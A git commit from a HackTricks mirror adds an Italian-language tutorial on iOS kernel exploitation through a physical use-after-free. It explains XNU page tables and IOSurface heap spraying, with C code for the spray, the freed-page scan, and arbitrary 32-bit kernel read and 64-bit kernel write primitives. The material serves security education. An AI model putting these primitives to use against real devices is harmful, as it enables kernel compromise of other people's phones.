mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
Translated ['binary-exploitation/ios-exploiting.md'] to it
This commit is contained in:
parent
aa2ce678eb
commit
e15a1dfa4f
2 changed files with 204 additions and 0 deletions
|
@ -778,6 +778,7 @@
|
||||||
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||||
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
|
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||||
|
|
||||||
## 🔩 Reversing
|
## 🔩 Reversing
|
||||||
|
|
||||||
|
|
203
binary-exploitation/ios-exploiting.md
Normal file
203
binary-exploitation/ios-exploiting.md
Normal file
|
@ -0,0 +1,203 @@
|
||||||
|
# iOS Exploiting
|
||||||
|
|
||||||
|
## Uso fisico dopo la liberazione
|
||||||
|
|
||||||
|
Questo è un riassunto del post da [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) inoltre ulteriori informazioni su exploit che utilizzano questa tecnica possono essere trovate in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||||
|
|
||||||
|
### Gestione della memoria in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||||
|
|
||||||
|
Lo **spazio degli indirizzi di memoria virtuale** per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non mappano direttamente alla memoria fisica. Invece, il **kernel** utilizza **tabelle delle pagine** per tradurre gli indirizzi virtuali in **indirizzi fisici** reali.
|
||||||
|
|
||||||
|
#### Livelli delle Tabelle delle Pagine in iOS
|
||||||
|
|
||||||
|
Le tabelle delle pagine sono organizzate gerarchicamente in tre livelli:
|
||||||
|
|
||||||
|
1. **Tabella delle Pagine L1 (Livello 1)**:
|
||||||
|
* Ogni voce qui rappresenta un ampio intervallo di memoria virtuale.
|
||||||
|
* Copre **0x1000000000 byte** (o **256 GB**) di memoria virtuale.
|
||||||
|
2. **Tabella delle Pagine L2 (Livello 2)**:
|
||||||
|
* Una voce qui rappresenta una regione più piccola di memoria virtuale, specificamente **0x2000000 byte** (32 MB).
|
||||||
|
* Una voce L1 può puntare a una tabella L2 se non può mappare l'intera regione da sola.
|
||||||
|
3. **Tabella delle Pagine L3 (Livello 3)**:
|
||||||
|
* Questo è il livello più fine, dove ogni voce mappa una singola pagina di memoria **4 KB**.
|
||||||
|
* Una voce L2 può puntare a una tabella L3 se è necessario un controllo più dettagliato.
|
||||||
|
|
||||||
|
#### Mappatura della Memoria Virtuale a Fisica
|
||||||
|
|
||||||
|
* **Mappatura Diretta (Mappatura a Blocchi)**:
|
||||||
|
* Alcune voci in una tabella delle pagine **mappano direttamente un intervallo di indirizzi virtuali** a un intervallo contiguo di indirizzi fisici (come un collegamento diretto).
|
||||||
|
* **Puntatore alla Tabella delle Pagine Figlia**:
|
||||||
|
* Se è necessario un controllo più fine, una voce in un livello (ad es., L1) può puntare a una **tabella delle pagine figlia** al livello successivo (ad es., L2).
|
||||||
|
|
||||||
|
#### Esempio: Mappatura di un Indirizzo Virtuale
|
||||||
|
|
||||||
|
Supponiamo che tu stia cercando di accedere all'indirizzo virtuale **0x1000000000**:
|
||||||
|
|
||||||
|
1. **Tabella L1**:
|
||||||
|
* Il kernel controlla la voce della tabella delle pagine L1 corrispondente a questo indirizzo virtuale. Se ha un **puntatore a una tabella delle pagine L2**, va a quella tabella L2.
|
||||||
|
2. **Tabella L2**:
|
||||||
|
* Il kernel controlla la tabella delle pagine L2 per una mappatura più dettagliata. Se questa voce punta a una **tabella delle pagine L3**, procede lì.
|
||||||
|
3. **Tabella L3**:
|
||||||
|
* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria effettiva.
|
||||||
|
|
||||||
|
#### Esempio di Mappatura degli Indirizzi
|
||||||
|
|
||||||
|
Se scrivi l'indirizzo fisico **0x800004000** nel primo indice della tabella L2, allora:
|
||||||
|
|
||||||
|
* Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** mappano agli indirizzi fisici da **0x800004000** a **0x802004000**.
|
||||||
|
* Questa è una **mappatura a blocchi** a livello L2.
|
||||||
|
|
||||||
|
In alternativa, se la voce L2 punta a una tabella L3:
|
||||||
|
|
||||||
|
* Ogni pagina di 4 KB nell'intervallo di indirizzi virtuali **0x1000000000 -> 0x1002000000** sarebbe mappata da voci individuali nella tabella L3.
|
||||||
|
|
||||||
|
### Uso fisico dopo la liberazione
|
||||||
|
|
||||||
|
Un **uso fisico dopo la liberazione** (UAF) si verifica quando:
|
||||||
|
|
||||||
|
1. Un processo **alloca** della memoria come **leggibile e scrivibile**.
|
||||||
|
2. Le **tabelle delle pagine** vengono aggiornate per mappare questa memoria a un indirizzo fisico specifico a cui il processo può accedere.
|
||||||
|
3. Il processo **dealloca** (libera) la memoria.
|
||||||
|
4. Tuttavia, a causa di un **bug**, il kernel **dimentica di rimuovere la mappatura** dalle tabelle delle pagine, anche se segna la corrispondente memoria fisica come libera.
|
||||||
|
5. Il kernel può quindi **riallocare questa memoria fisica "liberata"** per altri scopi, come **dati del kernel**.
|
||||||
|
6. Poiché la mappatura non è stata rimossa, il processo può ancora **leggere e scrivere** in questa memoria fisica.
|
||||||
|
|
||||||
|
Ciò significa che il processo può accedere a **pagine di memoria del kernel**, che potrebbero contenere dati o strutture sensibili, consentendo potenzialmente a un attaccante di **manipolare la memoria del kernel**.
|
||||||
|
|
||||||
|
### Strategia di Sfruttamento: Heap Spray
|
||||||
|
|
||||||
|
Poiché l'attaccante non può controllare quali pagine specifiche del kernel verranno allocate nella memoria liberata, utilizza una tecnica chiamata **heap spray**:
|
||||||
|
|
||||||
|
1. L'attaccante **crea un gran numero di oggetti IOSurface** nella memoria del kernel.
|
||||||
|
2. Ogni oggetto IOSurface contiene un **valore magico** in uno dei suoi campi, rendendolo facile da identificare.
|
||||||
|
3. Loro **scansionano le pagine liberate** per vedere se uno di questi oggetti IOSurface è atterrato su una pagina liberata.
|
||||||
|
4. Quando trovano un oggetto IOSurface su una pagina liberata, possono usarlo per **leggere e scrivere nella memoria del kernel**.
|
||||||
|
|
||||||
|
Ulteriori informazioni su questo in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||||
|
|
||||||
|
### Processo di Heap Spray Passo-Passo
|
||||||
|
|
||||||
|
1. **Spray di Oggetti IOSurface**: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("valore magico").
|
||||||
|
2. **Scansione delle Pagine Liberate**: Controllano se uno degli oggetti è stato allocato su una pagina liberata.
|
||||||
|
3. **Leggi/Scrivi nella Memoria del Kernel**: Manipolando i campi nell'oggetto IOSurface, ottengono la capacità di eseguire **letture e scritture arbitrarie** nella memoria del kernel. Questo consente loro di:
|
||||||
|
* Usare un campo per **leggere qualsiasi valore a 32 bit** nella memoria del kernel.
|
||||||
|
* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo una stabile **primitiva di lettura/scrittura del kernel**.
|
||||||
|
|
||||||
|
Genera oggetti IOSurface con il valore magico IOSURFACE\_MAGIC da cercare successivamente:
|
||||||
|
```c
|
||||||
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||||
|
if (*nClients >= 0x4000) return;
|
||||||
|
for (int i = 0; i < nSurfaces; i++) {
|
||||||
|
fast_create_args_t args;
|
||||||
|
lock_result_t result;
|
||||||
|
|
||||||
|
size_t size = IOSurfaceLockResultSize;
|
||||||
|
args.address = 0;
|
||||||
|
args.alloc_size = *nClients + 1;
|
||||||
|
args.pixel_format = IOSURFACE_MAGIC;
|
||||||
|
|
||||||
|
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||||
|
io_connect_t id = result.surface_id;
|
||||||
|
|
||||||
|
(*clients)[*nClients] = id;
|
||||||
|
*nClients = (*nClients) += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Cerca oggetti **`IOSurface`** in una pagina fisica liberata:
|
||||||
|
```c
|
||||||
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||||
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||||
|
int nSurfaceIDs = 0;
|
||||||
|
|
||||||
|
for (int i = 0; i < 0x400; i++) {
|
||||||
|
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||||
|
|
||||||
|
for (int j = 0; j < nPages; j++) {
|
||||||
|
uint64_t start = puafPages[j];
|
||||||
|
uint64_t stop = start + (pages(1) / 16);
|
||||||
|
|
||||||
|
for (uint64_t k = start; k < stop; k += 8) {
|
||||||
|
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||||
|
info.object = k;
|
||||||
|
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||||
|
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||||
|
goto sprayDone;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sprayDone:
|
||||||
|
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||||
|
if (surfaceIDs[i] == info.surface) continue;
|
||||||
|
iosurface_release(client, surfaceIDs[i]);
|
||||||
|
}
|
||||||
|
free(surfaceIDs);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
### Ottenere la Lettura/Scrittura del Kernel con IOSurface
|
||||||
|
|
||||||
|
Dopo aver ottenuto il controllo su un oggetto IOSurface nella memoria del kernel (mappato a una pagina fisica liberata accessibile dallo spazio utente), possiamo usarlo per **operazioni di lettura e scrittura arbitrarie nel kernel**.
|
||||||
|
|
||||||
|
**Campi Chiave in IOSurface**
|
||||||
|
|
||||||
|
L'oggetto IOSurface ha due campi cruciali:
|
||||||
|
|
||||||
|
1. **Puntatore al Conteggio di Utilizzo**: Consente una **lettura a 32 bit**.
|
||||||
|
2. **Puntatore al Timestamp Indicizzato**: Consente una **scrittura a 64 bit**.
|
||||||
|
|
||||||
|
Sovrascrivendo questi puntatori, li reindirizziamo a indirizzi arbitrari nella memoria del kernel, abilitando le capacità di lettura/scrittura.
|
||||||
|
|
||||||
|
#### Lettura del Kernel a 32 Bit
|
||||||
|
|
||||||
|
Per eseguire una lettura:
|
||||||
|
|
||||||
|
1. Sovrascrivi il **puntatore al conteggio di utilizzo** per puntare all'indirizzo target meno un offset di 0x14 byte.
|
||||||
|
2. Usa il metodo `get_use_count` per leggere il valore a quell'indirizzo.
|
||||||
|
```c
|
||||||
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||||
|
uint64_t args[1] = {surfaceID};
|
||||||
|
uint32_t size = 1;
|
||||||
|
uint64_t out = 0;
|
||||||
|
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||||
|
return (uint32_t)out;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t iosurface_kread32(uint64_t addr) {
|
||||||
|
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||||
|
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||||
|
uint32_t value = get_use_count(info.client, info.surface);
|
||||||
|
iosurface_set_use_count_pointer(info.object, orig);
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
#### Scrittura del Kernel a 64 Bit
|
||||||
|
|
||||||
|
Per eseguire una scrittura:
|
||||||
|
|
||||||
|
1. Sovrascrivi il **puntatore del timestamp indicizzato** all'indirizzo target.
|
||||||
|
2. Usa il metodo `set_indexed_timestamp` per scrivere un valore a 64 bit.
|
||||||
|
```c
|
||||||
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||||
|
uint64_t args[3] = {surfaceID, 0, value};
|
||||||
|
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||||
|
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||||
|
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||||
|
set_indexed_timestamp(info.client, info.surface, value);
|
||||||
|
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
#### Riepilogo del Flusso di Exploit
|
||||||
|
|
||||||
|
1. **Attivare l'Uso-Fisico Dopo la Liberazione**: Le pagine liberate sono disponibili per il riutilizzo.
|
||||||
|
2. **Spray degli Oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel.
|
||||||
|
3. **Identificare l'IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli.
|
||||||
|
4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la lettura/scrittura **kernel arbitraria** tramite i metodi IOSurface.
|
||||||
|
|
||||||
|
Con queste primitive, l'exploit fornisce letture **a 32 bit** e scritture **a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi per il jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti).
|
Loading…
Reference in a new issue